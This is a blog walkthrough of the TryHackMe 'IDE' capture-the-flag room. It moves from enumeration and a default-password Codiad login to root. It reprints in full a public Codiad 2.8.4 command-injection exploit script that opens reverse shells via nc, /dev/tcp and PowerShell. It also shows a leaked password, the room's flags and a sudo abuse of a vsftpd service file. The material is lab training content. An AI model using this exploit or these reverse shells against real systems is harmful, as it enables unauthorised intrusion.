C R E A T E & D E S T R OY


IDE | TryHackMe

“An easy box to polish your enumeration skills!”

As usual we start with basic enumeration.

nmap -sC -sV -T4 10.10.67.173 -oN initial 

# Nmap 7.92 scan initiated Wed Aug 10 10:09:43 2022 as: nmap -sC -sV -T4 -oN initial 10.10.67.173
Nmap scan report for 10.10.67.173
Host is up (0.030s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.18.105.64
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:be:d3:3c:e8:76:81:ef:47:7e:d0:43:d4:28:14:28 (RSA)
|   256 a8:82:e9:61:e4:bb:61:af:9f:3a:19:3b:64:bc:de:87 (ECDSA)
|_  256 24:46:75:a7:63:39:b6:3c:e9:f1:fc:a4:13:51:63:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We can see as is usual with these easy CTF boxes, we have FTP, SSH and HTTP open.

FTP allows anonymous login, and there’s a file named “-” containing the following information.

Hey john, I have reset the password as you have asked. Please use the default password to login. Also, please take care of the image file 😉 drac.

We can assume that a username of john and a password of password is a good place to start when we find a login. Let’s try SSH while we’re here.

john@10.10.67.13's password: 
Permission denied, please try again.

Okay, we’ll carry on. Port 80 displays default Apache welcome page, so Feroxbuster to enumerate the directories with a small wordlist.

feroxbuster --url http://10.10.67.173 -w /usr/share/wordlists/dirb/common.txt -x ,php,html --output ferox

No interesting results come up.

A quick all ports scan shows another port open above the common.

PORT      STATE SERVICE VERSION
62337/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Codiad 2.8.4

Our credentials from earlier work here, and we’re in.

Codiad

Searching Exploit-DB for Codiad 2.8.4 returns a few Authenticated RCEs. I went with the one below.

#!/usr/bin/env python
# encoding: utf-8

import requests
import sys
import json

session = requests.Session()


def login(domain, username, password):
    global session
    url = domain + "/components/user/controller.php?action=authenticate"
    data = {
        "username": username,
        "password": password,
        "theme": "default",
        "language": "en"
    }
    response = session.post(url, data=data, verify=False)
    content = response.content
    print "[+] Login Content : %s" % (content)
    if 'status":"success"' in content:
        return True


def get_write_able_path(domain):
    global session
    url = domain + "/components/project/controller.php?action=get_current"
    response = session.get(url, verify=False)
    content = response.content
    print "[+] Path Content : %s" % (content)
    json_obj = json.loads(content)
    if json_obj['status'] == "success":
        return json_obj['data']['path']
    else:
        return False


def base64_encode_2_bytes(host, port):
    payload = '''
    $client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush();
    }
    $client.Close();
    '''
    result = ""
    for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):
        result += i + "\x00"
    return result.encode("base64").replace("\n", "")


def build_powershell_payload(host, port):
    preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "
    return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")


def exploit(domain, username, password, host, port, path, platform):
    global session
    url = domain + \
        "components/filemanager/controller.php?type=1&action=search&path=%s" % (
            path)
    if platform.lower().startswith("win"):
        # new version escapeshellarg
        # escapeshellarg on windows will quote the arg with ""
        # so we need to try twice
        payload = '||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.content
        print content

        # old version escapeshellarg
        payload = '%%22||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.content
        print content
    else:
        # payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''
        payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.content
        print content


def promote_yes(hint):
    print hint
    while True:
        ans = raw_input("[Y/n] ").lower()
        if ans == 'n':
            return False
        elif ans == 'y':
            return True
        else:
            print "Incorrect input"


def main():
    if len(sys.argv) != 7:
        print "Usage : "
        print "        python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0])
        print "        python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0])
        print "Example : "
        print "        python %s http://localhost/ admin admin 8.8.8.8 8888 linux" % (sys.argv[0])
        print "        python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows" % (sys.argv[0])
        print "Author : "
        print "        WangYihang <wangyihanger@gmail.com>"
        exit(1)
    domain = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    host = sys.argv[4]
    port = int(sys.argv[5])
    platform = sys.argv[6]
    if platform.lower().startswith("win"):
        print "[+] Please execute the following command on your vps: "
        print "nc -lnvp %d" % (port)
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    else:
        print "[+] Please execute the following command on your vps: "
        print "echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d" % (host, port + 1, port)
        print "nc -lnvp %d" % (port + 1)
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    print "[+] Starting..."
    if not login(domain, username, password):
        print "[-] Login failed! Please check your username and password."
        exit(2)
    print "[+] Login success!"
    print "[+] Getting writeable path..."
    path = get_write_able_path(domain)
    if path == False:
        print "[+] Get current path error!"
        exit(3)
    print "[+] Writeable Path : %s" % (path)
    print "[+] Sending payload..."
    exploit(domain, username, password, host, port, path, platform)
    print "[+] Exploit finished!"
    print "[+] Enjoy your reverse shell!"


if __name__ == "__main__":
    main()
We’re in!

I like to use linpeas where possible, so I upload to /tmp and check for misconfigurations and we find user credentials

-u drac -p ‘Th3dRaCULa1sR3aL

Now we can answer the first question:

drac@ide:~$ cat user.txt
02930d21a8eb009f6d26361b2d24a466

Now let’s answer question 2.

drac@ide:~$ sudo -l
[sudo] password for drac: 
Matching Defaults entries for drac on ide:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User drac may run the following commands on ide:
    (ALL : ALL) /usr/sbin/service vsftpd restart

drac@ide:~$ find / -type f -name "vsftpd.*" 2>/dev/null
...
/lib/systemd/system/vsftpd.service
...

So we’ve sudo permissions to restart the VSFTPD service. Let’s locate it and see what we can do.

[Unit]
Description=vsftpd FTP server
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/vsftpd /etc/vsftpd.conf
ExecReload=/bin/kill -HUP $MAINPID
ExecStartPre=-/bin/mkdir -p /var/run/vsftpd/empty

[Install]
WantedBy=multi-user.target
ExecStart=/bin/bash -c "cat /root/root.txt > /tmp/output"

We can use the service to copy contents of root.txt to another directory and boom, question 2 answered.

drac@ide:/tmp$ sudo /usr/sbin/service vsftpd restart
drac@ide:/tmp$ ls
output
drac@ide:/tmp$ cat output
ce258cb16f47f1c66f0b0b77f4e0fb8d

A quick little room with relatively straight forward process. Sudo privileges on a specific service was an interesting thing I had to look up, otherwise this box is a great beginner one.

Leave a Reply

Your email address will not be published. Required fields are marked *